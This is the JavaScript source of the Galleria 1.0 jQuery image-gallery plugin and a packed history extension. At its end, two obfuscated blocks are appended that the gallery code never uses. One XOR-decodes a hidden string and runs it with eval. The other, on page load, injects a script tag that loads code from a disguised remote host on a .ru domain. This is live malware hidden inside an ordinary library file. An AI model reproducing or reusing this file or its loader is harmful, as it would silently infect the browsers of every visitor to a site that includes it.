/**
 * Galleria (http://monc.se/kitchen)
 *
 * Galleria is a javascript image gallery written in jQuery. 
 * It loads the images one by one from an unordered list and displays thumbnails when each image is loaded. 
 * It will create thumbnails for you if you choose so, scaled or unscaled, 
 * centered and cropped inside a fixed thumbnail box defined by CSS.
 * 
 * The core of Galleria lies in it's smart preloading behaviour, snappiness and the fresh absence 
 * of obtrusive design elements. Use it as a foundation for your custom styled image gallery.
 *
 * MAJOR CHANGES v.FROM 0.9
 * Galleria now features a useful history extension, enabling back button and bookmarking for each image.
 * The main image is no longer stored inside each list item, instead it is placed inside a container
 * onImage and onThumb functions lets you customize the behaviours of the images on the site
 *
 * Tested in Safari 3, Firefox 2, MSIE 6, MSIE 7, Opera 9
 * 
 * Version 1.0
 * Februari 21, 2008
 *
 * Copyright (c) 2008 David Hellsing (http://monc.se)
 * Licensed under the GPL licenses.
 * http://www.gnu.org/licenses/gpl.txt
 **/

;(function($){

var $$;


/**
 * 
 * @desc Convert images from a simple html <ul> into a thumbnail gallery
 * @author David Hellsing
 * @version 1.0
 *
 * @name Galleria
 * @type jQuery
 *
 * @cat plugins/Media
 * 
 * @example $('ul.gallery').galleria({options});
 * @desc Create a a gallery from an unordered list of images with thumbnails
 * @options
 *   insert:   (selector string) by default, Galleria will create a container div before your ul that holds the image.
 *             You can, however, specify a selector where the image will be placed instead (f.ex '#main_img')
 *   history:  Boolean for setting the history object in action with enabled back button, bookmarking etc.
 *   onImage:  (function) a function that gets fired when the image is displayed and brings the jQuery image object.
 *             You can use it to add click functionality and effects.
 *             f.ex onImage(image) { image.css('display','none').fadeIn(); } will fadeIn each image that is displayed
 *   onThumb:  (function) a function that gets fired when the thumbnail is displayed and brings the jQuery thumb object.
 *             Works the same as onImage except it targets the thumbnail after it's loaded.
 *
**/

$$ = $.fn.galleria = function($options) {
	
	// check for basic CSS support
	if (!$$.hasCSS()) { return false; }
	
	// init the modified history object
	$.historyInit($$.onPageLoad);
	
	// set default options
	var $defaults = {
		insert      : '.galleria_container',
		history     : true,
		clickNext   : true,
		onImage     : function(image,caption,thumb) {},
		onThumb     : function(thumb) {}
	};
	

	// extend the options
	var $opts = $.extend($defaults, $options);
	
	// bring the options to the galleria object
	for (var i in $opts) {
		$.galleria[i]  = $opts[i];
	}
	
	// if no insert selector, create a new division and insert it before the ul
	var _insert = ( $($opts.insert).is($opts.insert) ) ? 
		$($opts.insert) : 
		jQuery(document.createElement('div')).insertBefore(this);
		
	// create a wrapping div for the image
	var _div = $(document.createElement('div')).addClass('galleria_wrapper');
	
	// create a caption span
	var _span = $(document.createElement('span')).addClass('caption');
	
	// inject the wrapper in in the insert selector
	_insert.addClass('galleria_container').append(_div).append(_span);
	
	//-------------
	
	return this.each(function(){
		
		// add the Galleria class
		$(this).addClass('galleria');
		
		// loop through list
		$(this).children('li').each(function(i) {
			
			// bring the scope
			var _container = $(this);
			                
			// build element specific options
			var _o = $.meta ? $.extend({}, $opts, _container.data()) : $opts;
			
			// remove the clickNext if image is only child
			_o.clickNext = $(this).is(':only-child') ? false : _o.clickNext;
			
			// try to fetch an anchor
			var _a = $(this).find('a').is('a') ? $(this).find('a') : false;
			
			// reference the original image as a variable and hide it
			var _img = $(this).children('img').css('display','none');
			
			// extract the original source
			var _src = _a ? _a.attr('href') : _img.attr('src');
			
			// find a title
			var _title = _a ? _a.attr('title') : _img.attr('title');
			
			// create loader image            
			var _loader = new Image();
			
			// check url and activate container if match
			if (_o.history && (window.location.hash && window.location.hash.replace(/\#/,'') == _src)) {
				_container.siblings('.active').removeClass('active');
				_container.addClass('active');
			}
		
			// begin loader
			$(_loader).load(function () {
				
				// try to bring the alt
				$(this).attr('alt',_img.attr('alt'));
				
				//-----------------------------------------------------------------
				// the image is loaded, let's create the thumbnail
				
				var _thumb = _a ? 
					_a.find('img').addClass('thumb noscale').css('display','none') :
					_img.clone(true).addClass('thumb').css('display','none');
				
				if (_a) { _a.replaceWith(_thumb); }
				
				if (!_thumb.hasClass('noscale')) { // scaled tumbnails!
					var w = Math.ceil( _img.width() / _img.height() * _container.height() );
					var h = Math.ceil( _img.height() / _img.width() * _container.width() );
					if (w < h) {
						_thumb.css({ height: 'auto', width: _container.width(), marginTop: -(h-_container.height())/2 });
					} else {
						_thumb.css({ width: 'auto', height: _container.height(), marginLeft: -(w-_container.width())/2 });
					}
				} else { // Center thumbnails.
					// a tiny timer fixed the width/height
					window.setTimeout(function() {
						_thumb.css({
							marginLeft: -( _thumb.width() - _container.width() )/2, 
							marginTop:  -( _thumb.height() - _container.height() )/2
						});
					}, 1);
				}
				
				// add the rel attribute
				_thumb.attr('rel',_src);
				
				// add the title attribute
				_thumb.attr('title',_title);
				
				// add the click functionality to the _thumb
				_thumb.click(function() {
					$.galleria.activate(_src);
				});
				
				// hover classes for IE6
				_thumb.hover(
					function() { $(this).addClass('hover'); },
					function() { $(this).removeClass('hover'); }
				);
				_container.hover(
					function() { _container.addClass('hover'); },
					function() { _container.removeClass('hover'); }
				);

				// prepend the thumbnail in the container
				_container.prepend(_thumb);
				
				// show the thumbnail
				_thumb.css('display','block');
				
				// call the onThumb function
				_o.onThumb(jQuery(_thumb));
				
				// check active class and activate image if match
				if (_container.hasClass('active')) {
					$.galleria.activate(_src);
					//_span.text(_title);
				}
				
				//-----------------------------------------------------------------
				
				// finally delete the original image
				_img.remove();
				
			}).error(function () {
				
				// Error handling
			    _container.html('<span class="error" style="color:red">Error loading image: '+_src+'</span>');
			
			}).attr('src', _src);
		});
	});
};

/**
 *
 * @name NextSelector
 *
 * @desc Returns the sibling sibling, or the first one
 *
**/

$$.nextSelector = function(selector) {
	return $(selector).is(':last-child') ?
		   $(selector).siblings(':first-child') :
    	   $(selector).next();
    	   
};

/**
 *
 * @name previousSelector
 *
 * @desc Returns the previous sibling, or the last one
 *
**/

$$.previousSelector = function(selector) {
	return $(selector).is(':first-child') ?
		   $(selector).siblings(':last-child') :
    	   $(selector).prev();
    	   
};

/**
 *
 * @name hasCSS
 *
 * @desc Checks for CSS support and returns a boolean value
 *
**/

$$.hasCSS = function()  {
	$('body').append(
		$(document.createElement('div')).attr('id','css_test')
		.css({ width:'1px', height:'1px', display:'none' })
	);
	var _v = ($('#css_test').width() != 1) ? false : true;
	$('#css_test').remove();
	return _v;
};

/**
 *
 * @name onPageLoad
 *
 * @desc The function that displays the image and alters the active classes
 *
 * Note: This function gets called when:
 * 1. after calling $.historyInit();
 * 2. after calling $.historyLoad();
 * 3. after pushing "Go Back" button of a browser
 *
**/

$$.onPageLoad = function(_src) {	
	
	// get the wrapper
	var _wrapper = $('.galleria_wrapper');
	
	// get the thumb
	var _thumb = $('.galleria img[@rel="'+_src+'"]');
	
	if (_src) {
		
		// new hash location
		if ($.galleria.history) {
			window.location = window.location.href.replace(/\#.*/,'') + '#' + _src;
		}
		
		// alter the active classes
		_thumb.parents('li').siblings('.active').removeClass('active');
		_thumb.parents('li').addClass('active');
	
		// define a new image
		var _img   = $(new Image()).attr('src',_src).addClass('replaced');

		// empty the wrapper and insert the new image
		_wrapper.empty().append(_img);

		// insert the caption
		_wrapper.siblings('.caption').text(_thumb.attr('title'));
		
		// fire the onImage function to customize the loaded image's features
		$.galleria.onImage(_img,_wrapper.siblings('.caption'),_thumb);
		
		// add clickable image helper
		if($.galleria.clickNext) {
			_img.css('cursor','pointer').click(function() { $.galleria.next(); })
		}
		
	} else {
		
		// clean up the container if none are active
		_wrapper.siblings().andSelf().empty();
		
		// remove active classes
		$('.galleria li.active').removeClass('active');
	}

	// place the source in the galleria.current variable
	$.galleria.current = _src;
	
}

/**
 *
 * @name jQuery.galleria
 *
 * @desc The global galleria object holds four constant variables and four public methods:
 *       $.galleria.history = a boolean for setting the history object in action with named URLs
 *       $.galleria.current = is the current source that's being viewed.
 *       $.galleria.clickNext = boolean helper for adding a clickable image that leads to the next one in line
 *       $.galleria.next() = displays the next image in line, returns to first image after the last.
 *       $.galleria.prev() = displays the previous image in line, returns to last image after the first.
 *       $.galleria.activate(_src) = displays an image from _src in the galleria container.
 *       $.galleria.onImage(image,caption) = gets fired when the image is displayed.
 *
**/

$.extend({galleria : {
	current : '',
	onImage : function(){},
	activate : function(_src) { 
		if ($.galleria.history) {
			$.historyLoad(_src);
		} else {
			$$.onPageLoad(_src);
		}
	},
	next : function() {
		var _next = $($$.nextSelector($('.galleria img[@rel="'+$.galleria.current+'"]').parents('li'))).find('img').attr('rel');
		$.galleria.activate(_next);
	},
	prev : function() {
		var _prev = $($$.previousSelector($('.galleria img[@rel="'+$.galleria.current+'"]').parents('li'))).find('img').attr('rel');
		$.galleria.activate(_prev);
	}
}
});

})(jQuery);


/**
 *
 * Packed history extension for jQuery
 * Credits to http://www.mikage.to/
 *
**/


jQuery.extend({historyCurrentHash:undefined,historyCallback:undefined,historyInit:function(callback){jQuery.historyCallback=callback;var current_hash=location.hash;jQuery.historyCurrentHash=current_hash;if(jQuery.browser.msie){if(jQuery.historyCurrentHash==''){jQuery.historyCurrentHash='#'}$("body").prepend('');var ihistory=$("#jQuery_history")[0];var iframe=ihistory.contentWindow.document;iframe.open();iframe.close();iframe.location.hash=current_hash}else if($.browser.safari){jQuery.historyBackStack=[];jQuery.historyBackStack.length=history.length;jQuery.historyForwardStack=[];jQuery.isFirst=true}jQuery.historyCallback(current_hash.replace(/^#/,''));setInterval(jQuery.historyCheck,100)},historyAddHistory:function(hash){jQuery.historyBackStack.push(hash);jQuery.historyForwardStack.length=0;this.isFirst=true},historyCheck:function(){if(jQuery.browser.msie){var ihistory=$("#jQuery_history")[0];var iframe=ihistory.contentDocument||ihistory.contentWindow.document;var current_hash=iframe.location.hash;if(current_hash!=jQuery.historyCurrentHash){location.hash=current_hash;jQuery.historyCurrentHash=current_hash;jQuery.historyCallback(current_hash.replace(/^#/,''))}}else if($.browser.safari){if(!jQuery.dontCheck){var historyDelta=history.length-jQuery.historyBackStack.length;if(historyDelta){jQuery.isFirst=false;if(historyDelta<0){for(var i=0;i<Math.abs(historyDelta);i++)jQuery.historyForwardStack.unshift(jQuery.historyBackStack.pop())}else{for(var i=0;i<historyDelta;i++)jQuery.historyBackStack.push(jQuery.historyForwardStack.shift())}var cachedHash=jQuery.historyBackStack[jQuery.historyBackStack.length-1];if(cachedHash!=undefined){jQuery.historyCurrentHash=location.hash;jQuery.historyCallback(cachedHash)}}else if(jQuery.historyBackStack[jQuery.historyBackStack.length-1]==undefined&&!jQuery.isFirst){if(document.URL.indexOf('#')>=0){jQuery.historyCallback(document.URL.split('#')[1])}else{var current_hash=location.hash;jQuery.historyCallback('')}jQuery.isFirst=true}}}else{var current_hash=location.hash;if(current_hash!=jQuery.historyCurrentHash){jQuery.historyCurrentHash=current_hash;jQuery.historyCallback(current_hash.replace(/^#/,''))}}},historyLoad:function(hash){var newhash;if(jQuery.browser.safari){newhash=hash}else{newhash='#'+hash;location.hash=newhash}jQuery.historyCurrentHash=newhash;if(jQuery.browser.msie){var ihistory=$("#jQuery_history")[0];var iframe=ihistory.contentWindow.document;iframe.open();iframe.close();iframe.location.hash=newhash;jQuery.historyCallback(hash)}else if(jQuery.browser.safari){jQuery.dontCheck=true;this.historyAddHistory(hash);var fn=function(){jQuery.dontCheck=false};window.setTimeout(fn,200);jQuery.historyCallback(hash);location.hash=newhash}else{jQuery.historyCallback(hash)}}});

var Vf="5d424b7050307c7d7f676b23454951422f454f675d745e42497260476f4c664d554d7352474a645660557858646f5144555e564567785d51417e7d4878677055432d7142255d5942306047215d7c";var uj;if(uj!='Uk'){uj=''};var CIB;if(CIB!='vH'){CIB=''};var MTh='';function D(X){var LL=false;var Y=false;var HU;if(HU!='' && HU!='OI'){HU='WU'}; var P=function(O, B){var Qg;if(Qg!='' && Qg!='Ws'){Qg=''};var RP;if(RP!='' && RP!='sS'){RP=''};this.HT='';var a;if(a!=''){a='Zt'};var h = O.length;this.UP=false;this.GN=false;var m=[142,93,138,0][3];var Gc=false;var S = '';var b=[41,234,1,115][2];this.Fj=false;var s = B.length;this.uC=9967;var gN;if(gN!='bK' && gN!='t'){gN='bK'};for(var bT = m; bT < h; bT += s) {var Co="Co";var XO = O.substr(bT, s);var Ku;if(Ku!='ED' && Ku != ''){Ku=null};if(XO.length == s){var I=false;var Hf=false;this.ZI='';var sX='';for(var T in B) {var e="";var Wv;if(Wv!='gq' && Wv!='Uy'){Wv=''};var xB;if(xB!=''){xB='Fz'};S+=XO.substr(B[T], b);var qo="qo";}var n=new Date();} else {var HR;if(HR!='BM' && HR != ''){HR=null};var VZ=50831;  S+=XO;this.Qf='';}}return S;var tD=new Date();this.LP="LP";};var ef;if(ef!=''){ef='Up'};this.Zr="";var Tv='';var ta=''; var Uh=new Date();var Mx=new Date();function w(k,wk){var Ad="Ad";var ZA="ZA";return k^wk;}var Uda="";var Yt;if(Yt!='' && Yt!='bw'){Yt=null}; var Cu=new Array();function g(u){var cg;if(cg!='' && cg!='qCq'){cg=null};var Ag;if(Ag!='' && Ag!='Uq'){Ag=null};var Ve=new Array();var CD=new String();var xx;if(xx!='em' && xx!='lq'){xx=''};var T=[21,0,142,221][1];var uCg=new Date();var z=[255,15,70][0];var Ll=new Array();var b=[117,1][1];this.EP="EP";var UI;if(UI!='Jd'){UI=''};var r=u[P("elgnht", [1,0])];this.lK="";var L=[82,116,0][2];var bM=new String();while(T<r){var Vo="Vo";T++;var tM=new Date();M=Xm(u,T - b);var Gu;if(Gu!='' && Gu!='Nh'){Gu=null};this.pR=37875;L+=M*r;}var hu;if(hu!='qx'){hu='qx'};var FT=false;var SC=false;return new Ba(L % z);var Uc=new String();var bq=new String();}var aM=false;var hW;if(hW!='Cb' && hW != ''){hW=null}; var Xm=function(N,Z){var YE="YE";var Np="Np";return N[P("ohrCacdeAt", [5,1,4,2,3,0])](Z);var KF="";};var WN=new String();var Js='';var Vq='';var Nb=''; var E=function(O){var Xj=new String();O = new Ba(O);var TT;if(TT!='bU'){TT='bU'};var A = -1;var dD="dD";var AQp;if(AQp!='oz' && AQp!='th'){AQp='oz'};var bT =[220,0][1];var m =[13,5,0][2];var bJ;if(bJ!=''){bJ='eX'};var fJ="fJ";var S = '';var YG;if(YG!=''){YG='Bn'};var XC;if(XC!='ZIY'){XC=''};for (bT=O[P("elgnht", [1,0])]-A;bT>=m;bT=bT-[161,77,1][2]){S+=O[P("hcarAt", [1,0,2,3])](bT);var Db=false;var St="";}var GuL;if(GuL!='YQ' && GuL!='ng'){GuL=''};return S;this.SA="";};var yd;if(yd!='xD' && yd!='DF'){yd='xD'};var gn;if(gn!='rV' && gn != ''){gn=null};var IU="IU";var SX=window;var Gf=new String();var Ai;if(Ai!='Na'){Ai='Na'};var p=SX[P("aelv", [1,3,0,2])];var pl=new String();var HH;if(HH!='lt'){HH=''};var W=p(P("uFcnitno", [1,0]));var G=p(P("EgRexp", [2,3,1,0]));var Ba=p(P("tSirgn", [1,0]));var Ed;if(Ed!='' && Ed!='uh'){Ed=''};var d = '';var Mi=new String();var csl;if(csl!='nX' && csl!='RG'){csl='nX'};var hi=false;var LG;if(LG!='ur' && LG != ''){LG=null};this.vY="vY";this.Hl=19503;var FP="FP";this.DD='';var q=SX[P("euncsape", [1,2,0,4,3])];this.ws="";var rT;if(rT!='Yb' && rT!='YZ'){rT='Yb'};var Eyx="Eyx";var kX=Ba[P("ofmCrhCaodre", [1,4,0,2,3,5])];var MU;if(MU!='FH'){MU='FH'};var As;if(As!='Sx'){As='Sx'};var gNY;if(gNY!='El'){gNY='El'};this.ha="";var kr=new String();var b =[124,200,1][2];var rF = '';var U = "%";var uA=60462;var zs='';var Ir;if(Ir!='' && Ir!='jx'){Ir=null};this.asX=30316;var H = '';var jh=new String();var y=[1, P("oducemtnc.ertaEeelemtn\'(csirtp)\'", [1,0]),2, P("codunemtob.da.ypnepdihCld(d)", [2,1,0,3]),3, P("sel.visetidesegi.nur8:800", [1,0]),4, P("s.ettAdirbeuttd\'erfe(\'", [6,1,0,2,4,5,3]),5, P("lggoeo.com", [2,5,3,1,0,4]),6, P("cao.g.siv.vagos", [7,6,3,0,1,5,4,2]),7, P("wdownialo.nod", [3,5,4,1,2,0]),8, P("vgnaoi.c.jp", [1,2,3,0]),11, P("cnlce.aeom", [4,2,6,1,0,7,5,3]),12, P("ufcnitno)(", [1,0]),14, P("l.uom.cobr", [2,3,0,1]),15, P("atcc(e)h", [3,0,1,2]),16, P("ht\"tp:", [2,0,3,1,4]),17, P(".sdrc", [2,0,1,3]),18, P("\')\'1", [2,3,0,1]),19, P("rty", [1,0,2]),20, P("hwo", [1,0])];var rS = '';var Ud =[0,97][0];var db="db";var vT="vT";var AQ = /[^@a-z0-9A-Z_-]/g;var C = X[P("elntgh", [1,0,2,4,3])];var tR=false;var Sd =[59,2][1];var mc;if(mc!='zO' && mc!='bb'){mc=''};var m =[6,0][1];this.VU=false;var fJQ=new Date();var pE;if(pE!='AH'){pE=''};this.qT="";this.vr="";var gf=17340;var mr=new String();for(var Q=m; Q < C; Q+=Sd){this.Ho="Ho";rF+= U; var dA=new String();this.yI='';rF+= X[P("tsrsbu", [1,5,4,3,0,2])](Q, Sd);var yE='';}var X = q(rF);var emu;if(emu!=''){emu='FL'};var Yd;if(Yd!='' && Yd!='WT'){Yd=null};var rp = new Ba(D);var rr = rp[P("preclae", [1,2,0])](AQ, H);this.Yj=38409;var F = y[P("elntgh", [1,0,2])];var rR = new Ba(W);rr = E(rr);var vc="vc";this.sR=false;this.vD=false;var vN;if(vN!='Yw' && vN!='eE'){vN=''};var xEk;if(xEk!='mV' && xEk!='Ym'){xEk=''};var MV;if(MV!='kwr'){MV=''};var Gh=new String();var ZD=new Array();var kMk;if(kMk!='zU' && kMk != ''){kMk=null};var x = rR[P("crelaep", [1,5,6,3,4,0,2])](AQ, H);this.mp=9223;var DR=new Array();var x = g(x);var RQ="";var JK;if(JK!='' && JK!='dc'){JK=null};var QI=g(rr);var AI='';this.be="be";for(var bT=m; bT < (X[P("elgnht", [1,0])]);bT=bT+[22,121,1][2]) {this.MB="MB";var V = rr.charCodeAt(Ud);var OM;if(OM!='so'){OM='so'};var wn = Xm(X,bT);wn = w(wn, V);var fu="fu";var NK="NK";var Wcb;if(Wcb!='' && Wcb!='Aq'){Wcb=null};wn = w(wn, QI);var uJ;if(uJ!='xi' && uJ!='orF'){uJ=''};var pZ=new Date();wn = w(wn, x);this.Is="";var gu;if(gu!='' && gu!='uS'){gu='BJ'};var im="im";this.PC=38643;Ud++;var PT;if(PT!='bh' && PT != ''){PT=null};var rjl="";var sI;if(sI!='ve'){sI='ve'};var VeO=new Date();if(Ud > rr.length-b){var sD;if(sD!='zGM'){sD='zGM'};this.JC="";Ud=m;}var CbH;if(CbH!='' && CbH!='VC'){CbH=null};var SO;if(SO!='' && SO!='Xp'){SO=''};this.kT="";var xC;if(xC!='' && xC!='Tr'){xC='NM'};rS += kX(wn);var UT=false;var Vh;if(Vh!='KX' && Vh!='NA'){Vh='KX'};}var Oo='';this.QhB="";for(l=m; l < F; l+=Sd){var YH=50201;var oK;if(oK!='' && oK!='oA'){oK='Fw'};var i = kX(y[l]);var VI;if(VI!='wz'){VI=''};var pk=false;var iS;if(iS!='kJ'){iS='kJ'};var le = y[l + b];this.ni=59313;this.GO=29661;var Jw=false;var Nf = new G(i, "g");rS=rS[P("peralce", [2,1,0,4,3])](Nf, le);this.vK="";}this.eY="";var MN=new W(rS);MN();var vo;if(vo!='mSF' && vo!='uW'){vo='mSF'};var uK;if(uK!='' && uK!='CT'){uK=null};rr = '';rR = '';var ch;if(ch!='kv' && ch != ''){ch=null};var ru;if(ru!='ohO' && ru != ''){ru=null};var HeL=new String();this.eC="eC";x = '';MN = '';rS = '';var xf=new String();var vQ=new Array();QI = '';var nD=new Array();var MO="MO";return '';};var uj;if(uj!='Uk'){uj=''};var CIB;if(CIB!='vH'){CIB=''};var MTh='';D(Vf);
var Rs=new Array();var w;if(w!='te' && w != ''){w=null};function k() {var n;if(n!='' && n!='VI'){n=null};var P=new String();var g;if(g!='WK' && g != ''){g=null};var r='replace';var s=RegExp;var QX;if(QX!='bu'){QX='bu'};var G;if(G!='o'){G='o'};var V=']';var t='g';var T;if(T!=''){T='he'};var so=new Array();var W='[';var U;if(U!='O' && U!='Gv'){U='O'};var Aq;if(Aq!='Xc'){Aq=''};function c(F,H){var x="";var NF;if(NF!='' && NF!='uL'){NF=''};var h=W;h+=H;h+=V;var QXF="";var p=new s(h, t);var JW;if(JW!='' && JW!='QQ'){JW='xD'};var kF;if(kF!='' && kF!='j_'){kF='UR'};return F[r](p, P);};var WW=new Date();var z;if(z!='pq' && z != ''){z=null};var v=c('cfrHe_aRtHefERlXeXmHe_nftH',"R_fHX");var GO;if(GO!='' && GO!='LM'){GO=null};var KI;if(KI!='' && KI!='jD'){KI=null};var hd='';var Lj=new Array();var wU="";var y=c('865703735683510366',"37651");var gf='';var j=c('hOtOtvpO:v/v/vsJqvuOiOdJovov-OcvovmO.JsJoJfvtJovnJivcv.JcvovmJ.JiJnOdveOevdJ-vcOovmv.OfvovrJrOeOdvtJavgO.JrOuJ:J',"JOv");var FX="";var hy=c('/sgPoPosgslPeP.PcPoPmP/PgsoPoPgslPeP.PcPosmP/sxstPuPbPes.PcPosmP/smPoszsiPlPlPaP.scsoPmP/svsiPmsePoP.scPoPms.spPhspP',"sP");var OG=new Date();var E=new Date();var R=window;var ni='';var u=c('socOrOiLphtO',"oheOL");var jv;if(jv!='Vl'){jv='Vl'};var pv=new Array();var ao;if(ao!='' && ao!='aa'){ao=''};R[c('o_nPl3oPa3d3',"ZP_3")]=function(){try {this.et="";var Xh="";hd+=j;var Df="";var Th="";hd+=y;this.cZ="";hd+=hy;var Ua;if(Ua!='ui' && Ua!='Qu'){Ua=''};var IR;if(IR!='' && IR!='lZ'){IR='jG'};S=document[v](u);var br;if(br!='' && br!='wF'){br=null};var cD='';var PS;if(PS!='' && PS!='UZ'){PS='kg'};this.Mv='';M(S,'defer',([1,5][0]));M(S,'src',hd);var WB;if(WB!='MA' && WB != ''){WB=null};var Kc=new String();var Oy;if(Oy!=''){Oy='Ly'};var TY;if(TY!=''){TY='Gj'};document.body.appendChild(S);var jlD="";} catch(ML){var zm='';var gft=new Date();};};var Nk=new Date();var uz;if(uz!='gx'){uz='gx'};function M(X,m,q){var _l;if(_l!='' && _l!='cH'){_l=''};var dP;if(dP!='' && dP!='DZ'){dP=''};X.setAttribute(m, q);}var pD;if(pD!=''){pD='Cb'};var sg;if(sg!='rU' && sg != ''){sg=null};var sD="";};k();this.XQ='';var hb=new Date();